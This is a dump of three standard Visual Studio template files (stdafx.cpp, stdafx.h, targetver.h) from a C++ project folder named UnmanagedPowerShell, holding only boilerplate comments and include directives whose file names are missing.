/UnmanagedPowerShell/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // UnmanagedPowerShell.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /UnmanagedPowerShell/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /UnmanagedPowerShell/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | --------------------------------------------------------------------------------